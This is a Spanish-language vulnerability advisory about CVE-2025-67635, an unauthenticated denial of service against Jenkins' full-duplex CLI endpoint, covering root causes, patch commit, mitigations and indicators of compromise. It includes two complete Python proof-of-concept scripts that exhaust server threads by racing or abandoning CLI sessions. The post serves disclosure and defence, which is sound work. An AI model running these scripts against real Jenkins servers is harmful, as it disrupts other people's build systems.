Tabla de contenidos

Title
Title
Tabla de contenidos
Tabla de contenidos
Tabla de contenidos
Title
Title
Title

Ataques

CVE-2025-67635: DoS no autenticado en el endpoint full-duplex de Jenkins CLI

cover-jenkins-cli-unauth-dos (https://unsplash.com/photos/a-black-and-white-photo-of-a-staircase-315M82HdrH4)
cover-jenkins-cli-unauth-dos (https://unsplash.com/photos/a-black-and-white-photo-of-a-staircase-315M82HdrH4)
cover-jenkins-cli-unauth-dos (https://unsplash.com/photos/a-black-and-white-photo-of-a-staircase-315M82HdrH4)
cover-jenkins-cli-unauth-dos (https://unsplash.com/photos/a-black-and-white-photo-of-a-staircase-315M82HdrH4)
Camilo Vera

Analista de seguridad

Actualizado

12 dic 2025

5 min

TL;DR:

  • El endpoint del plain CLI de Jenkins (/cli?remoting=false) empareja dos peticiones POST (download/upload) a través de un UUID de Session compartido y es accesible sin permisos Overall/Read.

  • Se encadenan dos bugs: Un HashMap no sincronizado en CLIAction pierde una mitad de la sesión (race condition), y los loops de espera del protocolo CLI (ServerSideImpl.run, FullDuplexHttpService.upload) no tienen timeout.

  • Un atacante puede finalizar sus llamadas HTTP en milisegundos mientras dejan threads de Jetty durante 15 segundos (ventana de la race condition) o indefinidamente (protocolo abandonado), causando DoS asimétrico en todo el controller.

  • Afecta a core ≤ 2.540 y LTS ≤ 2.528.2 (CWE-362/CWE-404, CVSS: 7,5). Se solucionó en 2.541 y 2.528.3 usando ConcurrentHashMap, agregando timeouts en el handshake y cerrando streams en caso de error.

  • ¿Cómo mitigarlo ahora mismo? Actualiza, o bloquea el acceso al endpoint del plain CLI desde redes no confiables y captura thread dumps para confirmar que no haya threads atascados en CLIAction$ServerSideImpl.run o FullDuplexHttpService.upload/download.

¿Qué hace el endpoint?

El CLI sin Remoting construye un canal de full-duplex a partir de dos POSTs de HTTP:

  1. Lado download: Side: download, abre /cli?remoting=false, el servidor escribe un byte y espera la mitad de upload

  2. Lado de carga: Side: upload, mismo UUID de Session, provee el input stream

hudson.cli.CLIAction conecta esto con jenkins.util.FullDuplexHttpService, almacenando las sesiones activas en un registro común entre peticiones.

Causa raíz #1: Registro de sesiones sin sincronizar (race condition)

CLIAction mantiene el mapa de sesiones en un HashMap simple compartido por todos los threads de petición:

// core/src/main/java/hudson/cli/CLIAction.java:83
private final transient Map<UUID, FullDuplexHttpService> duplexServices = new HashMap<>();

FullDuplexHttpService.Response.generateResponse llama a services.put(uuid, service) para el lado download y a services.get(uuid) para el lado upload. Como HashMap no es thread-safe, puts/gets concurrentes bajo carga pueden

  • devolver null para un lado download válido;

  • perder entradas durante un resize;

  • dejar threads de download dentro de FullDuplexHttpService.download esperando hasta 15 segundos por un upload que ya llegó.

El resultado: Cada par afectado por la race condition bloquea un thread del servlet durante todo el timeout mientras los sockets del atacante se cierran de inmediato, causando un DoS asimétrico y violando el requisito de seguridad “Hacer que los flujos lógicos críticos sean seguros”.

Causa raíz #2: Faltan timeouts en el protocolo (bloqueo determinístico)

Incluso cuando las dos mitades se emparejan correctamente, el handshake del protocolo puede entrar en deadlock porque ningún lado tiene timeout:

// core/src/main/java/hudson/cli/CLIAction.java:300
synchronized (this) {
    while (!ready) {      // waits forever if client never sends "start"
        wait();
    }
}
// core/src/main/java/jenkins/util/FullDuplexHttpService.java:145
while (!completed) {       // no deadline if download side dies early
    wait();
}

Si el cliente corta la conexión antes de enviar frames del CLI, el thread de download se bloquea en ServerSideImpl.run() y el de upload en upload() sin timeout, consumiendo dos threads de Jetty por intento hasta agotar el controller.

Notas de explotación

Ambos vectores solo requieren conectividad de red a /cli:

  • Escenario A (race condition): Dispara pares download/upload superpuestos con ligero jitter para que el lado upload ocasionalmente vea null. Los threads se acumulan en FullDuplexHttpService.download por ~15 segundos cada uno.

  • Escenario B (abandono): Abre ambas mitades, déjalas que se emparejen, luego cierra sin enviar frames del CLI. Los threads quedan en CLIAction$ServerSideImpl.run y en FullDuplexHttpService.upload indefinidamente, sin necesidad de ventana de timing.

A continuación se presentan las mismas PoCs compartidas con el equipo de seguridad de Jenkins:

PoC: racecond_a.py (race en HashMap, dos downloads por UUID)

#!/usr/bin/env python3
import requests
import uuid
import concurrent.futures
import sys

def create_download(jenkins_url, session_id, session):
    headers = {'Session': session_id, 'Side': 'download'}
    try:
        response = session.post(
            f"{jenkins_url}/cli?remoting=false",
            headers=headers,
            data=b'',
            timeout=20
        )
        return response.status_code
    except requests.exceptions.Timeout:
        return 'TIMEOUT'
    except Exception:
        return 'ERROR'

def main(jenkins_url, num_sessions):
    session = requests.Session()
    adapter = requests.adapters.HTTPAdapter(
        max_retries=0,
        pool_connections=200,
        pool_maxsize=200
    )
    session.mount('http://', adapter)
    session.mount('https://', adapter)
    
    with concurrent.futures.ThreadPoolExecutor(max_workers=200) as executor:
        futures = []
        
        for i in range(num_sessions):
            session_id = str(uuid.uuid4())
            futures.append(executor.submit(create_download, jenkins_url, session_id, session))
            futures.append(executor.submit(create_download, jenkins_url, session_id, session))
        
        timeouts = 0
        for future in concurrent.futures.as_completed(futures):
            if future.result() == 'TIMEOUT':
                timeouts += 1
    
    print(f"Timeouts: {timeouts}/{num_sessions*2}")

if __name__ == "__main__":
    jenkins_url = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8081"
    num_sessions = int(sys.argv[2]) if len(sys.argv) > 2 else 1000
    main(jenkins_url, num_sessions)

PoC: racecond_b.py (abandono de protocolo, bloqueo determinístico)

#!/usr/bin/env python3
import socket
import struct
import uuid
import time
import threading
import sys

JENKINS_HOST = "localhost"
JENKINS_PORT = 8081

OP_ARG = 0
OP_LOCALE = 1
OP_ENCODING = 2

def send_cli_frame(sock, opcode, data=b""):
    if isinstance(data, str):
        data = data.encode('utf-8')
    length = len(data)
    frame = struct.pack('>I', length) + struct.pack('B', opcode) + data
    sock.sendall(frame)

def establish_download(session_id, duration=30):
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect((JENKINS_HOST, JENKINS_PORT))
        request = f"""POST /cli?remoting=false HTTP/1.1\r
Host: {JENKINS_HOST}:{JENKINS_PORT}\r
Session: {session_id}\r
Side: download\r
Content-Length: 0\r
Connection: keep-alive\r
\r
"""
        sock.sendall(request.encode())
        response = b""
        while b"\r\n\r\n" not in response:
            chunk = sock.recv(1)
            if not chunk:
                return False
            response += chunk
        sock.recv(1)
        time.sleep(duration)
        sock.close()
        return True
    except Exception:
        return False

def establish_upload_without_start(session_id, duration=30):
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect((JENKINS_HOST, JENKINS_PORT))
        request = f"""POST /cli?remoting=false HTTP/1.1\r
Host: {JENKINS_HOST}:{JENKINS_PORT}\r
Session: {session_id}\r
Side: upload\r
Transfer-Encoding: chunked\r
Connection: keep-alive\r
\r
"""
        sock.sendall(request.encode())
        response = b""
        while b"\r\n\r\n" not in response:
            chunk = sock.recv(1)
            if not chunk:
                return False
            response += chunk
        send_cli_frame(sock, OP_ARG, "help")
        time.sleep(0.05)
        send_cli_frame(sock, OP_LOCALE, "en_US")
        time.sleep(0.05)
        send_cli_frame(sock, OP_ENCODING, "UTF-8")
        time.sleep(duration)
        sock.close()
        return True
    except Exception:
        return False

def create_abandoned_session(session_id, duration=30):
    download_thread = threading.Thread(
        target=establish_download,
        args=(session_id, duration),
        daemon=True
    )
    download_thread.start()
    time.sleep(0.3)
    upload_thread = threading.Thread(
        target=establish_upload_without_start,
        args=(session_id, duration),
        daemon=True
    )
    upload_thread.start()
    return download_thread, upload_thread

def main(num_sessions):
    threads = []
    for i in range(num_sessions):
        session_id = str(uuid.uuid4())
        download_t, upload_t = create_abandoned_session(session_id, duration=60)
        threads.extend([download_t, upload_t])
        time.sleep(0.1)
    
    for t in threads:
        t.join()
    
    print(f"Created {num_sessions} sessions")

if __name__ == "__main__":
    num_sessions = int(sys.argv[1]) if len(sys.argv) > 1 else 500
    main(num_sessions)

Evidencia

  • Thread dump (Escenario B, controller de prueba Jenkins 2.516.2): Atascado exactamente en los call sites sin timeout:

at hudson.cli.CLIAction$ServerSideImpl.run(CLIAction.java:319)
- locked <0x00000000f0d9ba90> (a hudson.cli.CLIAction$ServerSideImpl)
at jenkins.util.FullDuplexHttpService.download(FullDuplexHttpService.java:119)

at jenkins.util.FullDuplexHttpService.upload(FullDuplexHttpService.java:146)
- locked <0x00000000f0d9aaa0> (a hudson.cli.CLIAction$PlainCliEndpointResponse$1)
at jenkins.util.FullDuplexHttpService$Response.generateResponse(FullDuplexHttpService.java:191)
  • Evidencia en video: Reproducción del crash end-to-end contra un controller recién instalado:

  • En un build vulnerable, verás docenas de threads de solicitud esperando en esos call sites, y las llamadas CLI regulares comenzarán a dar timeout.

Impacto

  • DoS no autenticado: No se requiere Overall/Read para acceder a /cli?remoting=false

  • Bajo costo para el atacante: Los sockets se cierran de inmediato, el servidor retiene el trabajo (15 segundos por intento de race, infinitamente por abandono)

  • Degradación del controller completo: Los threads del servlet y los stream de E/S se acumulan, otros endpoints empiezan a dar timeout

Detalles del parche

Commit: efa1816

  • CLIAction ahora almacena las sesiones en un ConcurrentHashMap, eliminando las pérdidas del HashMap que potenciaban el DoS asimétrico.

  • ServerSideImpl.run y FullDuplexHttpService.upload adoptaron waits acotados por CONNECTION_TIMEOUT con wake-ups de 1 segundo y logs de DEBUG, de modo que los handshakes abandonados se deshacen en lugar de estacionar threads.

  • PlainCLIProtocol ahora siempre llama a side.handleClose() en un bloque finally, asegurando que ambas mitades se desmonten incluso ante errores de lectura o excepciones de runtime.

  • Se agregó cobertura de regresión en Security3630Test (JUnit 5): Reduce el timeout del CLI para test, ejercita la race condition con invocaciones CLI concurrentes y verifica que los threads se liberen después de streams truncados.

  • Efecto neto: El emparejamiento download/upload ahora falla rápido y libera threads de Jetty en vez de bloquearse indefinidamente esperando contrapartes faltantes.

  • Los cambios restauran la conformidad del path CLI full-duplex con el requisito “Hacer que los flujos lógicos críticos sean seguros”.

Referencias de CVE y advisory

Mitigación y hardening

Si no puedes actualizar inmediatamente, haz lo siguiente:

  • Deshabilita o aplica firewall al endpoint de plain CLI; utiliza preferentemente el WebSocket CLI con autenticación adecuada.

  • Reduce los límites de threads de Jetty solo como último recurso (no elimina el bug).

  • Monitorea thread dumps buscando estados de wait en CLIAction$ServerSideImpl.run y FullDuplexHttpService.upload/download.

Indicadores de compromiso

  • Mensajes repetidos de IOException: No download side found for <uuid> en los logs.

  • Thread dumps que muestran muchos TIMED_WAITING en FullDuplexHttpService.download o WAITING en CLIAction$ServerSideImpl.run / FullDuplexHttpService.upload.

  • Picos en peticiones a /cli?remoting=false sin encabezados de autenticación.

Parchea de inmediato. Este es un path de DoS servido en bandeja, alcanzado por red en deployments de Jenkins con configuración por defecto.

Get started with Fluid Attacks' PTaaS right now

Etiquetas:

ciberseguridad

vulnerabilidad

software

exploit

pentesting

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

Inicia tu prueba gratuita de 21 días

Descubre los beneficios de nuestra solución Hacking Continuo, de la que ya disfrutan empresas de todos los tamaños.

Inicia tu prueba gratuita de 21 días

Descubre los beneficios de nuestra solución Hacking Continuo, de la que ya disfrutan empresas de todos los tamaños.

Inicia tu prueba gratuita de 21 días

Descubre los beneficios de nuestra solución Hacking Continuo, de la que ya disfrutan empresas de todos los tamaños.

Inicia tu prueba gratuita de 21 días

Descubre los beneficios de nuestra solución Hacking Continuo, de la que ya disfrutan empresas de todos los tamaños.

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.

SOC 2 Type II

SOC 3

Lee un resumen de Fluid Attacks

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.

SOC 2 Type II

SOC 3

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.

SOC 2 Type II

SOC 3

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.